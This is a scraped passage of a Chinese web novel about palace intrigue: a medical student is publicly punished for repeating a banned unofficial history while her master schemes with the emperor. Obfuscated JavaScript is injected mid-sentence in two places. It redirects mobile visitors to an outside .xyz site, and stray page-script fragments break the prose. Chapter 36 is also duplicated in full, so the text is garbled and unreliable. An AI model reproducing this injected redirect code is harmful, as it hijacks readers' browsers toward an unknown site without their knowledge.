正纳闷江师兄总算正经了一回,他顿了顿,又道:“我们接下来要说的,不是国君也不是反贼,而是那反贼手下一阉人豢养男宠之事。此阉人复姓长孙,名野,好男色……” 叶灼松了口气,这倒是符合江师兄的风格。 介师姐果然没说错,他讲课别具一格,的确懂得如何抓人耳朵。 “当时有位宫廷乐师,姓琴名秋,被那贼人强掳去,与其夜夜笙歌……” 江枫好像化身为茶馆里的说书人,叶灼从没有一堂课听得如这般全神贯注,连眼前的话本子都索然无味了。 “景和十六年,虎狼相争之时,漠北由苍尘山攻入中原。身经百战的先帝与其胞弟,也就是当今圣上共谋江山,打得百万青骑兵叫一个屁滚尿流!漠北王连夜逃出北境,从此纳贡称臣……” 听到这里,好像和《容国秘史》有点儿出入。 景和年间,和先帝四处征战的——不是黎亲王卫昌么? 叶灼张望一遭,同窗们欢呼鼓掌,似乎并没有觉得哪里不对。 现在开始说立国后的历史,她的注意被吸引过去,也就接着往下听。 “时值中原初平,政通人和,百废待兴。为休养生息、恢复国力,圣上联合群臣,发起历时三年的新政改革。” 江枫四下张望,发现叫得出名字的就那一个,于是清了清嗓。 “叶灼,你起来回答一下,新政的举措都有哪些?” “是。”叶灼起身,仔细回忆起书上的内容。 “例行新政改革,主要由经济、政法、军事三部分构成。经济上轻徭薄赋,鼓励农耕,减少宫廷开支;政法上整顿吏治,宽缓刑狱;军事上改募兵为府兵,抑制不法豪强……哦,还有完善内宫管理。” 他点了点头,“不错。后来呢?” 叶灼偷笑,江师兄不会是想偷懒吧?“后来,新政成果并未得到彻底实施。前有各派势力阻挠,前朝余孽起兵反叛;后有逦美人以巫蛊作乱后宫、太子妃奉命谋害景殿下,因而获囚永巷。” “等、等等,你说什么?”江枫大跌眼镜。 叶灼略微抬眼,重复了一遍:“太子妃奉命谋害景殿下,因而获囚永巷……” “太子妃,被关在了永巷?” “是的。”叶灼道,“不过好在皇后娘娘及时止损,惩罚了那些后妃。因为圣上痼疾难愈,娘娘又亲手替他批公文,日夜无休。然后……” 怎料她越说越离谱,江枫煞白了脸。一会儿瞥向别处,一会儿看看她。 叶灼显然没明白他的意思,“黎亲王府受逦美人一事牵连,而今势力衰微。此时黎州世子又遭人加害——” “别再说了!”他终于喝止。 话至过半被掐断,叶灼愣了愣。 才发现在场同窗无不瞧着自己,目光异样不已。 “一派胡言,简直一派胡言!” 沈博士不知何时已然站在她身后,面色阴沉地道:“逦美人是因病过世,太子妃早在两年前就已投湖自尽!你胆敢杜撰史实、诽谤妖言,有何目的?” “我、我没有杜撰!”叶灼连忙摆手。 “那你是从何处听来这些言论?” “回博士的话,这都是史书上明明白白写着的。我只不过回答师兄的问题,如实转述而已……” 江枫一紧张就舌头打结,百口莫辩。本是想让她歌颂一番新政的丰功伟绩,早知叶师妹语出惊人,打死他都不会多此一举。 “什么史书?”沈拓,“拿出来!” 还好,《容国秘史》她随身带着,早就替代话本子成了每日必读书目。 刚要动抽屉,这时想到师父的话。 ——“为师给你的书发行于民间,不可轻易外传。” 叶灼如梦初醒,动作慢下来。师父明明说过这是本野史,只供私下查阅,怎么一不小心就把它和正史混在一起,全都说出去了? “沈博士,书现在不在我身上,不知被我丢到哪儿去了……” “丢了?”沈拓大手一挥。 叶灼左顾右盼,惊道:“沈博士!给我点时间,过几日,再过几日我就把书带给您!” 本以为沈博士会像以前那样得过且过,可是没有,事情好像远比她想象中要严重得多。犹记得《律法》上的记载:捏造史实、散布谣言者,当以谋逆论处。 “搜。” 三五名学子上前,将她桌里的东西倾倒而出。十几本书、用来打发时间的杂七杂八的小玩意,顷刻撒了满地。 同窗们大都看笑话似的,不怀好意瞧过来。 老底被扒光的感觉真不好受。太阳穴突突跳动,叶灼顾不得如坐针毡,死命想办法。 没一会儿,有人道:“找到了!” 压在最里面的书“哗啦啦”被抖出,封皮赫然写着《容国秘史》。 沈拓拿起来看,翻了几页,当即合上。 “是谁给你的?” 绝不能拖累师父。叶灼摇了摇头,“想不起来了。” “既如此,”沈拓眯起眼,“那就罚你长跪屋外,对着夫子圣像,好好儿想一想。想不起来便一直跪,跪到想起来为止。” 她十指力道更紧,裙摆被攥得发皱。 也罢。只要不赶她走便好,让她留在师父身边便好…… “若你执意不肯说,我太医署,断容不得你这等私德有亏之学子!” “!!” 在场学子都惊了,江枫也惊了。 三五名学子过来连轰带撵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039020|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她像只提线人偶般,就这么被拉到广场示众。 其他人紧随其后,江枫焦头烂额跟上去:“沈博士,这都是弟子的错!叶师妹少不更事,兴许误听信他人谗言,遭人构陷也说不定!” 沈拓袖子一挥,“别想着替她求情,她今日若是不说,你也难辞其咎!” 从没有过沈博士赶人的先例,江枫急坏了。事情怎么会演变成这样呢?要是传扬出去,届时叶师妹小命不保,小铃儿非骂死他不可…… 突然他灵光一闪,背对人群,出了大殿。 “还不速速随老夫回去上禀!” “……” 沈拓回头望去,殿内空无一人,哪里还有江枫的半点影子。 烈日高挂,火伞高张。 虽不及一年中最热的时候,立夏将至,又是日头最盛的下午时分。人在太阳底下待久了,皮肤像被火炙烤一样疼。 “啧啧啧,真是知人知面不知心。” 叶灼不知不觉跪了两个时辰,头脑昏昏沉沉。 长廊下,围观者越来越多,路过的都要批判上几句,只差没朝她丢菜叶子。其中不乏几张熟悉面孔。有往日一起斗过蛐蛐儿的,向她借过话本的…… “你没听说吧,这家伙的老家在岐州。那个地方可谓是人才辈出,盛产鸡鸣狗盗之徒!瞧她刚来的时候那副穷酸样,身上还发臭哩,能安的什么好心?” “哈哈,是乡野小儿的臭味吧?” ……为什么? 她以为的昔日朋友,原来是这般想她么? 不远处传来许昭昭的声音:“我说什么来着,她不过是叶少卿的弃徒而已。人家叶少卿当初丢下她,定是有原因的……” 原来他们是一伙的。那副惹人生厌的面孔,此刻正瞧着她得意忘形。 叶灼死死瞪了回去。 “不会是西戎来的细作吧?”有人问。 许昭昭耸了耸肩,“谁知道呢?她刚来就帮着黎州的那个叛徒说话,没想到不费吹灰之力就让她原形毕露,真是老天有眼。” 那人撇了撇嘴,“枉我过去喊她一声叶老大,真晦气。回去赶紧把从她那儿赢来的钱丢了。” “叶师妹!”介铃撞开那人的肩。“叶灼犯了什么错,你们要这样待她?” “你搞清楚,是她自己居心叵测,沈博士罚她跪在这里好好反省,干老子什么事!” “我看你才是苦心叵测!” 他们推搡着争吵起来,叶灼听得模模糊糊,大体是些说三道四。 “介、介师姐……”嗓子被晒得干哑,只得摇头劝阻。 没一会儿,咒禁科放了课,卫知瑶匆匆赶来。 “现在事情还没有查清楚,妄下定论便是诬陷,望大家念在同门之谊,不得私传谣言。许少爷,请你让开。” “卫知瑶,你如今已经不是郡主了,别想在老子面前摆你那郡主的臭架子!小心老子到圣上面前告你爹一状,叫你吃不了兜着走!” “你怎敢……!” 许昭昭目光狡黠,企图抬她的下巴,“你要是叫我一声爹,老子或许可以考虑放你们过去。” 叶灼踉踉跄跄地起身。 绝不能,绝不能让任何人欺负瑶姐姐…… 未来得及站稳,地板竟没来由地朝自己砸过来。 脚踩的地方变成了软的,耳边嗡嗡地响。只有瑶姐姐、介师姐在喊她的名字,那些人渐渐没了声音。身子随着风儿一起飘飘悠悠,飘飘悠悠…… 咦,怎么真的荡了起来? 熟悉的、令人心安的药香绕上鼻梢,并着肩头的凉意,竞相揽她入怀。 几缕发丝掠过,搔刮得鼻尖暗痒。 她大抵是醉了。 醉在那水眸里的一汪月牙泉,醉在两袖间的清风,醉于那若有似无的药香中,醉于他如画的眉眼里。 “师父……” 36.蜕变(六) 叶无声愣愣地听完,手掌顺着她的脊背,一下下拍起来。 动作虽僵硬,节奏却均匀和缓,带着无尽温柔。 小时候贪玩跌了,阿娘也是这样抱着他,每每拍几下,眼泪就能止住。后来当了这小丫头的师父,方法有了用武之地,过去这么些年,总有些生疏了。 “是为师不好,让你受了委屈。”顿了顿,感觉到怀中小人渐渐不抖了,才安下心,“古川于你而言,的确是更为安全之地。过去为师替你做了太多主张,没能尽到授人以渔的责任。” 叶灼抬起头,迷惘地望着他。 “往后,你不必再将为师当作牵绊,想去哪便去哪,想家了,随时可以回去。” 她望了他一会儿,摇头道:“师父就是阿灼的选择,有师父在的地方,就是阿灼的家。阿灼永远也不会离开师父的!” 叶无声无言,食指轻刮她的鼻头。 叶灼怯生生低下头。又想,自己之所以进入太医署,归根结底,还是凭借师父的面子,而不是因她古川小医仙的名头。若要留下来,现在的她,何以担得起“叶少卿之徒”这个身份?可没了这个身份,又何以立足上京? 想到这里嘟起嘴,不想沦为众人的笑柄,更不想师父替她受累。 “等你长大,有足够的能力扛下风雨,到那时即便没有师父,凭借一己之力,也自能饮誉天下。” 饮誉天下……她会有这般厉害么? “你是我教出来的徒儿。你做不到的事,别人未必能做到。”叶无声轻抚她的发,“阿灼,你要记得,无论何时何地,都不应为迎合别人的期许而活。” 心中一股热流涌动,叶灼点头道:“徒儿记下了。” 突然门口有人来报。循声望过去,男子素面长衫,模样清秀,彬彬有礼地作揖。 叶无声没有转身,似乎早就发现此人的存在。“何事?” “屋外有人求见。” 叶无声抬起手,并指挥了挥。 “这是我的长随,名唤左舟。这段时间他会在屋外守候,你且好生安养着,有什么不懂都可以问他。” 左舟向她问好,叶灼点头致意。 “有他在一日,定不会让你出事。” 左舟退下,又进来一名女子。顶着双丫髻,一身绿色襦裙,长相乖巧。 “姑娘好,叶少卿好。”她躬身行礼,“听闻姑娘身体有疾,身边却没有人服侍,圣上特将奴婢赐给姑娘。” “圣上派你来的?”叶无声眯起眼。 “正是。”女子对叶灼道,“姑娘唤奴婢一声晴儿,以后,晴儿就是姑娘的婢子了。” 叶灼有点儿无助地摆摆手,“师父,其实我不需要那么多人照顾啦。我这病已经好得差不多了,又不是缺胳膊断腿……” “此人不是我派来的。”叶无声起身谢过,“既是圣上授意,便让她留下吧。” 知是不好推却,叶灼只好作罢:“小女无德,多谢圣上美意。” 叶无声侧目打量,好像企图在那丫鬟身上看出些什么般。 片刻后,他眼里闪过一抹寒光。叮嘱些用药事宜,径自出了屋。 不大的房间里,只剩下叶灼、晴儿两人。 突然多出一个年纪相仿、甚至还要长几岁的女子,让一个姐姐照顾自己,多少有些不自在。 叶灼第一反应伸出手,“你叫晴儿对吧?” 晴儿脸上笑眯眯的,双手却端在袖子里纹丝不动,“姑娘需要什么?” 呃?居然没有回应她的招呼。 叶灼往角落窝了窝,露出一个勉强的笑:“什么也不用,你去做自己的事吧。我从来没被人服侍过,也不需要人服侍。” “圣上吩咐奴婢一定要照顾好您,奴婢不敢有所懈怠。”晴儿说着,就要去端茶送水。 翻箱倒柜一会儿,她返回来:“姑娘要茶还是米粥?” 见争执不下,叶灼作势打了个呵欠:“都不用,我现在要睡觉。我睡觉不习惯有人打搅,你站在这儿,我就睡不好,睡不好就养不好病,”然后一头栽进被窝,“到时算谁的责任?” 这招果然奏效,“那……奴婢先行告退了。” 榻上的影子逐渐淡化,叶灼松了口气。本来只是佯装睡着,刚一沾枕头,瞌睡虫犯上来。想着白天的事,不知不觉就迷糊了。 离屋约莫五丈远,叶无声脚步一顿。 左舟走上来,悄声道:“撰书人已经找到了。” “该怎么做,你心中可有数?” 左舟点头示意。 “那这件事便交给你了。”叶无声道,“我的行踪,切忌向任何人透露,尤其不能让皇后的人知道。另外,帮我盯着那个叫晴儿的丫鬟。若我猜得不错,皇后已然起了疑心,只不过顾及我的面子,想着旁敲侧击,从阿灼身上入手。” “那个丫鬟……”左舟略作沉思,“不是圣上派来的人么?” 叶无声摇了摇头,“面见皇后时,我在中宫见过她。” 明白过来什么,左舟心中大惊。对于邢皇后企图干政之事,他也略有感知,却没想到皇后胆子大到这种地步,竟敢假传圣意? “近来她有些不听话,我已经提醒过她多次,还是老样子。”叶无声道,“借着此番契机,正好让她收敛些,分得清个轻重缓急,知道什么东西碰不得。” 左舟打了个寒噤。自己没有说出口的话,仍旧瞒不过他。 “我要去一趟紫宸殿。”他顿了顿,“阿灼那头,你记得多加留意。饭菜先试毒,汤药不要经晴儿之手。一旦察觉知道了些不该知道的,或是有什么异样举动……找个借口,将她处理掉就是。” “是。”左舟作揖的手颤动。 如此稀松平常,自己跟了他这么多年,还是免不了胆战心惊。哪怕眨眨眼也好,起码还保留一丁点儿不忿或是恻隐。可杀人对他而言,就像是家常便饭。 虽说他从来借别人之手,有朝一日,自己会不会也…… 叶无声唇角轻勾,“别害怕,我将你留在身边,便是看中你办事干净这点。想法不要太多,自然不会亏待了你。” 左舟暗暗低眸:“属下不敢。” 别的想法……他若真的敢有半点,只怕等不到行动那一刻,早已经尸骨无存了。 是夜。 紫宸殿一如既往,十二连枝灯火光明灭。 “那些人是吃了熊心豹子胆,敢把手伸到皇城里来。妄议宫闱、离间帝后,当朕是瞎子不成?” 纳兰燮卧于龙榻之上,将手中史书重甩在地。八宝炉内焚着香,烟雾缭绕。 安公公拾起奏折,点头哈腰,慢慢抬起视线。 “传朕的旨意,将此书尽数销毁。搜遍全天下,不惜一切代价也要给朕找出这撰书人。有谎报瞒报、妖言惑众者,格杀勿论!” “是,是。奴才这就去办。”言罢,他连滚带爬退出大殿。 叶无声往腧穴落下一针,手指提插捻转,凝目敛容。 “近来宫中流言四起,朕略有耳闻,都道此书由来与令徒有关。”纳兰燮眉峰一提。“叶少卿,可有此事啊?” “回陛下,确有此事。”叶无声道,“只不过,流言经口口相传,难免失真。” “愿闻其详。” “孺子年幼,岂知利害?”叶无声眸光微敛,“此书不过是阿灼从古川一书贩处购置而来。能于民间流传,必是团伙所为,妄图从百姓口中做文章。陛下要肃清根源,当务之急,是要找到那幕后之人。” “朕也希望她是无心之举。”纳兰燮斜睨着他,“可是叶少卿,身边之人,不可不防啊。你对她这三年的行踪不甚了解,怎知她不是有备而来?” 叶无声不语。酒渍过后颈,顺耳廓滑下,被他擦去。 “臣依陛下决议便是。”他道,往风池又进一针。 “爱卿,是否心有顾忌啊?”纳兰燮笑问。 却见叶无声退居阶下,电光火石间,抽出侍卫腰间的佩剑,“为人臣者,理当为陛下分忧,哪怕以死相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064975|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谏;为人师者,却不由得想如若身死,无人替小徒收尸。臣忧心如焚,实在矛盾……今愿以死明志,先赴黄泉。” 剑身架于脖前,寒光一闪。纳兰燮欲起身阻拦,后颈那针猛地箍紧皮肉。 “叶无声,你——!”他撑在榻上不敢动弹,剧烈咳嗽几声。 见他动气,叶无声将剑一扔,赶紧替他调整针向。 “也罢,知你护徒心切,朕不与小儿辩日。若得出良策,赦免她容易。” 叶无声匍匐于阶前,重重顿首。 “朕虽不杀她,往后你务必多加教诲,令其走上正道。”纳兰燮言罢,余光瞥向殿侧。 一众宫女之中,那小黄门低眉许久,显然没有察觉殿上之人的注视。 叶无声会意,开口道:“陛下当先发制人,于民间施加威慑。借杀撰书人之举,让娘娘看到陛下的诚意。 ” “的确是桩良策。”纳兰燮点头赞扬,与他交递眼色,“那即日起,便加大抓捕力度,任何一条漏网之鱼,都要给朕带回来。宫中再有妄议此事者,论罪当斩!” 果不出所料,小黄门拱手请示:“适才得知中宫为陛下送来批新香,奴才现在去取,请陛下恩准。” 纳兰燮挥了挥手。 一直到他走远,叶无声始才上前。细细密密落针于腰腿、后背、肩颈。 “爱卿配合得不错。” 叶无声面不改色,附耳道:“撰书人已经找到。只需寻一替罪羔羊,明日午时,于城门下斩首示众。然后明罚暗保,送其出京。其人必然感念陛下不杀之恩,坊间流言,自能为陛下所用。” “如果他不听话呢?” 叶无声淡然一笑,比了个手势。仿佛看见刀刃划过,人头落地。 “陛下,可还记得薛嫔之死?” “怎能不记得?”他愤愤捶榻,手背上青筋凸起。“朕的爱妃,一个个都死于非命,朕装傻,却不是没有心。朕只恨自己无能,不能现在就……!” “陛下不可。”叶无声道,“身边人犹可以防,枕边人却难防,现在时候未到,外戚派系,还需借娘娘之手打压。不妨令鹬蚌相争,两方一起慢慢消磨,直至蚕食殆尽。陛下只需稳居高位,坐收渔人之利。” 纳兰燮松了手劲,“可是叶少卿,此计真的能行么?皇后贵为一国之母,她的心思,朕实在猜不透。万一出个什么差错……” “陛下但可以放心。”叶无声道,“凭臣与皇后娘娘相处这些年岁,娘娘最大的弱点,莫过于疑心过重,凡事操之过急。只需稍加挑拨,使其自乱阵脚,便不会怀疑到陛下头上。” 纳兰燮闭上眼,“知我者,莫若爱卿也。” 游针带来的舒畅滑过神经,却令他一阵警觉。 叶无声对所有人都是这般了解,对他也亦然。然而愈是对所有事了如指掌,这个人,就愈发显得可怕。江国舅都能受其掣肘,若有朝一日,他将这份心思,动在自己身上…… “陛下日理万机,理应以龙体为重,早些歇息。”叶无声说道,动作娴熟地退针。 就在此时,风舌吹灭了烛火。纳兰燮心中一惊。 下半晌,视野重新明亮。叶无声护住火光,道:“陛下受惊了。” 袖子碰倒了香炉,燃尽的香材撒了满案。 叶无声将它扶起,又往里添了些香材,将门窗掩好、清理好案面。 “臣所做的一切,皆是为了陛下。” “……”偏偏这个人,让自己无法离开。转念又想,过去几年里他给他的机会,难道会少么?若他真想害自己,也就是动动手指的事,用不着等到今日。 “朕乏了,你退下吧。”纳兰燮揉着太阳穴。 叶无声作了一揖,确认过门窗都已关好,如往常般行礼,慢慢退下殿。 熟悉的沉香气飘来,纳兰燮很快睡去。殿内无人知晓,在那瞬间的黑暗中,香炉被谁动过手脚。 那多出来的一味迷香,无形中早已渗透他身体的每一寸毛孔,钝化了感官。 36.蜕变(六) 叶无声愣愣地听完,手掌顺着她的脊背,一下下拍起来。 动作虽僵硬,节奏却均匀和缓,带着无尽温柔。 小时候贪玩跌了,阿娘也是这样抱着他,每每拍几下,眼泪就能止住。后来当了这小丫头的师父,方法有了用武之地,过去这么些年,总有些生疏了。 “是为师不好,让你受了委屈。”顿了顿,感觉到怀中小人渐渐不抖了,才安下心,“古川于你而言,的确是更为安全之地。过去为师替你做了太多主张,没能尽到授人以渔的责任。” 叶灼抬起头,迷惘地望着他。 “往后,你不必再将为师当作牵绊,想去哪便去哪,想家了,随时可以回去。” 她望了他一会儿,摇头道:“师父就是阿灼的选择,有师父在的地方,就是阿灼的家。阿灼永远也不会离开师父的!” 叶无声无言,食指轻刮她的鼻头。 叶灼怯生生低下头。又想,自己之所以进入太医署,归根结底,还是凭借师父的面子,而不是因她古川小医仙的名头。若要留下来,现在的她,何以担得起“叶少卿之徒”这个身份?可没了这个身份,又何以立足上京? 想到这里嘟起嘴,不想沦为众人的笑柄,更不想师父替她受累。 “等你长大,有足够的能力扛下风雨,到那时即便没有师父,凭借一己之力,也自能饮誉天下。” 饮誉天下……她会有这般厉害么? “你是我教出来的徒儿。你做不到的事,别人未必能做到。”叶无声轻抚她的发,“阿灼,你要记得,无论何时何地,都不应为迎合别人的期许而活。” 心中一股热流涌动,叶灼点头道:“徒儿记下了。” 突然门口有人来报。循声望过去,男子素面长衫,模样清秀,彬彬有礼地作揖。 叶无声没有转身,似乎早就发现此人的存在。“何事?” “屋外有人求见。” 叶无声抬起手,并指挥了挥。 “这是我的长随,名唤左舟。这段时间他会在屋外守候,你且好生安养着,有什么不懂都可以问他。” 左舟向她问好,叶灼点头致意。 “有他在一日,定不会让你出事。” 左舟退下,又进来一名女子。顶着双丫髻,一身绿色襦裙,长相乖巧。 “姑娘好,叶少卿好。”她躬身行礼,“听闻姑娘身体有疾,身边却没有人服侍,圣上特将奴婢赐给姑娘。” “圣上派你来的?”叶无声眯起眼。 “正是。”女子对叶灼道,“姑娘唤奴婢一声晴儿,以后,晴儿就是姑娘的婢子了。” 叶灼有点儿无助地摆摆手,“师父,其实我不需要那么多人照顾啦。我这病已经好得差不多了,又不是缺胳膊断腿……” “此人不是我派来的。”叶无声起身谢过,“既是圣上授意,便让她留下吧。” 知是不好推却,叶灼只好作罢:“小女无德,多谢圣上美意。” 叶无声侧目打量,好像企图在那丫鬟身上看出些什么般。 片刻后,他眼里闪过一抹寒光。叮嘱些用药事宜,径自出了屋。 不大的房间里,只剩下叶灼、晴儿两人。 突然多出一个年纪相仿、甚至还要长几岁的女子,让一个姐姐照顾自己,多少有些不自在。 叶灼第一反应伸出手,“你叫晴儿对吧?” 晴儿脸上笑眯眯的,双手却端在袖子里纹丝不动,“姑娘需要什么?” 呃?居然没有回应她的招呼。 叶灼往角落窝了窝,露出一个勉强的笑:“什么也不用,你去做自己的事吧。我从来没被人服侍过,也不需要人服侍。” “圣上吩咐奴婢一定要照顾好您,奴婢不敢有所懈怠。”晴儿说着,就要去端茶送水。 翻箱倒柜一会儿,她返回来:“姑娘要茶还是米粥?” 见争执不下,叶灼作势打了个呵欠:“都不用,我现在要睡觉。我睡觉不习惯有人打搅,你站在这儿,我就睡不好,睡不好就养不好病,”然后一头栽进被窝,“到时算谁的责任?” 这招果然奏效,“那……奴婢先行告退了。” 榻上的影子逐渐淡化,叶灼松了口气。本来只是佯装睡着,刚一沾枕头,瞌睡虫犯上来。想着白天的事,不知不觉就迷糊了。 离屋约莫五丈远,叶无声脚步一顿。 左舟走上来,悄声道:“撰书人已经找到了。” “该怎么做,你心中可有数?” 左舟点头示意。 “那这件事便交给你了。”叶无声道,“我的行踪,切忌向任何人透露,尤其不能让皇后的人知道。另外,帮我盯着那个叫晴儿的丫鬟。若我猜得不错,皇后已然起了疑心,只不过顾及我的面子,想着旁敲侧击,从阿灼身上入手。” “那个丫鬟……”左舟略作沉思,“不是圣上派来的人么?” 叶无声摇了摇头,“面见皇后时,我在中宫见过她。” 明白过来什么,左舟心中大惊。对于邢皇后企图干政之事,他也略有感知,却没想到皇后胆子大到这种地步,竟敢假传圣意? “近来她有些不听话,我已经提醒过她多次,还是老样子。”叶无声道,“借着此番契机,正好让她收敛些,分得清个轻重缓急,知道什么东西碰不得。” 左舟打了个寒噤。自己没有说出口的话,仍旧瞒不过他。 “我要去一趟紫宸殿。”他顿了顿,“阿灼那头,你记得多加留意。饭菜先试毒,汤药不要经晴儿之手。一旦察觉知道了些不该知道的,或是有什么异样举动……找个借口,将她处理掉就是。” “是。”左舟作揖的手颤动。 如此稀松平常,自己跟了他这么多年,还是免不了胆战心惊。哪怕眨眨眼也好,起码还保留一丁点儿不忿或是恻隐。可杀人对他而言,就像是家常便饭。 虽说他从来借别人之手,有朝一日,自己会不会也…… 叶无声唇角轻勾,“别害怕,我将你留在身边,便是看中你办事干净这点。想法不要太多,自然不会亏待了你。” 左舟暗暗低眸:“属下不敢。” 别的想法……他若真的敢有半点,只怕等不到行动那一刻,早已经尸骨无存了。 是夜。 紫宸殿一如既往,十二连枝灯火光明灭。 “那些人是吃了熊心豹子胆,敢把手伸到皇城里来。妄议宫闱、离间帝后,当朕是瞎子不成?” 纳兰燮卧于龙榻之上,将手中史书重甩在地。八宝炉内焚着香,烟雾缭绕。 安公公拾起奏折,点头哈腰,慢慢抬起视线。 “传朕的旨意,将此书尽数销毁。搜遍全天下,不惜一切代价也要给朕找出这撰书人。有谎报瞒报、妖言惑众者,格杀勿论!” “是,是。奴才这就去办。”言罢,他连滚带爬退出大殿。 叶无声往腧穴落下一针,手指提插捻转,凝目敛容。 “近来宫中流言四起,朕略有耳闻,都道此书由来与令徒有关。”纳兰燮眉峰一提。“叶少卿,可有此事啊?” “回陛下,确有此事。”叶无声道,“只不过,流言经口口相传,难免失真。” “愿闻其详。” “孺子年幼,岂知利害?”叶无声眸光微敛,“此书不过是阿灼从古川一书贩处购置而来。能于民间流传,必是团伙所为,妄图从百姓口中做文章。陛下要肃清根源,当务之急,是要找到那幕后之人。” “朕也希望她是无心之举。”纳兰燮斜睨着他,“可是叶少卿,身边之人,不可不防啊。你对她这三年的行踪不甚了解,怎知她不是有备而来?” 叶无声不语。酒渍过后颈,顺耳廓滑下,被他擦去。 “臣依陛下决议便是。”他道,往风池又进一针。 “爱卿,是否心有顾忌啊?”纳兰燮笑问。 却见叶无声退居阶下,电光火石间,抽出侍卫腰间的佩剑,“为人臣者,理当为陛下分忧,哪怕以死相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064975|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谏;为人师者,却不由得想如若身死,无人替小徒收尸。臣忧心如焚,实在矛盾……今愿以死明志,先赴黄泉。” 剑身架于脖前,寒光一闪。纳兰燮欲起身阻拦,后颈那针猛地箍紧皮肉。 “叶无声,你——!”他撑在榻上不敢动弹,剧烈咳嗽几声。 见他动气,叶无声将剑一扔,赶紧替他调整针向。 “也罢,知你护徒心切,朕不与小儿辩日。若得出良策,赦免她容易。” 叶无声匍匐于阶前,重重顿首。 “朕虽不杀她,往后你务必多加教诲,令其走上正道。”纳兰燮言罢,余光瞥向殿侧。 一众宫女之中,那小黄门低眉许久,显然没有察觉殿上之人的注视。 叶无声会意,开口道:“陛下当先发制人,于民间施加威慑。借杀撰书人之举,让娘娘看到陛下的诚意。 ” “的确是桩良策。”纳兰燮点头赞扬,与他交递眼色,“那即日起,便加大抓捕力度,任何一条漏网之鱼,都要给朕带回来。宫中再有妄议此事者,论罪当斩!” 果不出所料,小黄门拱手请示:“适才得知中宫为陛下送来批新香,奴才现在去取,请陛下恩准。” 纳兰燮挥了挥手。 一直到他走远,叶无声始才上前。细细密密落针于腰腿、后背、肩颈。 “爱卿配合得不错。” 叶无声面不改色,附耳道:“撰书人已经找到。只需寻一替罪羔羊,明日午时,于城门下斩首示众。然后明罚暗保,送其出京。其人必然感念陛下不杀之恩,坊间流言,自能为陛下所用。” “如果他不听话呢?” 叶无声淡然一笑,比了个手势。仿佛看见刀刃划过,人头落地。 “陛下,可还记得薛嫔之死?” “怎能不记得?”他愤愤捶榻,手背上青筋凸起。“朕的爱妃,一个个都死于非命,朕装傻,却不是没有心。朕只恨自己无能,不能现在就……!” “陛下不可。”叶无声道,“身边人犹可以防,枕边人却难防,现在时候未到,外戚派系,还需借娘娘之手打压。不妨令鹬蚌相争,两方一起慢慢消磨,直至蚕食殆尽。陛下只需稳居高位,坐收渔人之利。” 纳兰燮松了手劲,“可是叶少卿,此计真的能行么?皇后贵为一国之母,她的心思,朕实在猜不透。万一出个什么差错……” “陛下但可以放心。”叶无声道,“凭臣与皇后娘娘相处这些年岁,娘娘最大的弱点,莫过于疑心过重,凡事操之过急。只需稍加挑拨,使其自乱阵脚,便不会怀疑到陛下头上。” 纳兰燮闭上眼,“知我者,莫若爱卿也。” 游针带来的舒畅滑过神经,却令他一阵警觉。 叶无声对所有人都是这般了解,对他也亦然。然而愈是对所有事了如指掌,这个人,就愈发显得可怕。江国舅都能受其掣肘,若有朝一日,他将这份心思,动在自己身上…… “陛下日理万机,理应以龙体为重,早些歇息。”叶无声说道,动作娴熟地退针。 就在此时,风舌吹灭了烛火。纳兰燮心中一惊。 下半晌,视野重新明亮。叶无声护住火光,道:“陛下受惊了。” 袖子碰倒了香炉,燃尽的香材撒了满案。 叶无声将它扶起,又往里添了些香材,将门窗掩好、清理好案面。 “臣所做的一切,皆是为了陛下。” “……”偏偏这个人,让自己无法离开。转念又想,过去几年里他给他的机会,难道会少么?若他真想害自己,也就是动动手指的事,用不着等到今日。 “朕乏了,你退下吧。”纳兰燮揉着太阳穴。 叶无声作了一揖,确认过门窗都已关好,如往常般行礼,慢慢退下殿。 熟悉的沉香气飘来,纳兰燮很快睡去。殿内无人知晓,在那瞬间的黑暗中,香炉被谁动过手脚。 那多出来的一味迷香,无形中早已渗透他身体的每一寸毛孔,钝化了感官。 37.蜕变(七) 叶灼做了个很长的梦。 梦中天花板很高,似是草原才能见到的穹庐。地面变得触手可及,那么宽那么广,上铺有花纹奇特的地毡,积了厚厚一层灰,绒毛粘连成块状。 她呆坐在门口的阶墀上,手变得小小的,身体也成了小小的一只,蜷缩在角落里。 衣着朴素的女人过来给她盛饭食。 简单的米饼、羹汤,汤头零星漂浮几片菜叶子。递到手里说不上丰盛,已是她一日内最大的满足。 女人耐心和她说了些什么。叶灼想都没想,开始狼吞虎咽,盘子三下五除二被她舔舐了个干净。 女人静默片刻,然后摸摸她的头。 